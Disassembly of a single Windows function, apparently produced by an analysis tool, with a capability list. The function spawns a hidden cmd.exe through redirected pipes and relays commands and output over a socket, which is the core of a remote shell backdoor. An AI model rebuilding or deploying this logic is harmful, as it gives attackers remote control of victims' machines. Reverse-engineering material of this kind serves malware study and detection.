Function at 0x140001190
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Download and write a file
Execute shell command and capture output
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x538
mov rax, qword [0x140038078]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov dword [rsp + 0x80], 0x18
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x90], 1
xor r9d, r9d
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x14000121b
lea rdx, str.Failed_to_create_stdout_pipe._n
lea rcx, [0x1400392d0]
call fcn.1400018d0
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400014db
xor r9d, r9d
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x14000127c
lea rdx, str.Failed_to_create_stdin_pipe._n
lea rcx, [0x1400392d0]
call fcn.1400018d0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400014db
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.1400097d0
mov dword [rsp + 0xb0], 0x68
mov dword [rsp + 0xec], 0x101
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x110], rax
xor eax, eax
mov word [rsp + 0xf0], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.cmd.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x140001398
lea rdx, str.Failed_to_start_shell._n
lea rcx, [0x1400392d0]
call fcn.1400018d0
lea rdx, str.Hello_Nhom_2._n
lea rcx, [0x1400392d0]
call fcn.1400018d0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400014db
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
cmp eax, 1
je 0x140001495
mov r8d, 0x400
xor edx, edx
lea rcx, [rsp + 0x120]
call fcn.1400097d0
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jg 0x1400013fd
jmp 0x140001495
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x50]
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x140001429
jmp 0x140001495
mov r8d, 0x400
xor edx, edx
lea rcx, [rsp + 0x120]
call fcn.1400097d0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x54]
mov r8d, 0x3ff
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x140001470
cmp dword [rsp + 0x54], 0
jne 0x140001472
jmp 0x140001495
xor r9d, r9d
mov r8d, dword [rsp + 0x54]
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x1400013ae
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x540]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.1400083c0
add rsp, 0x538
ret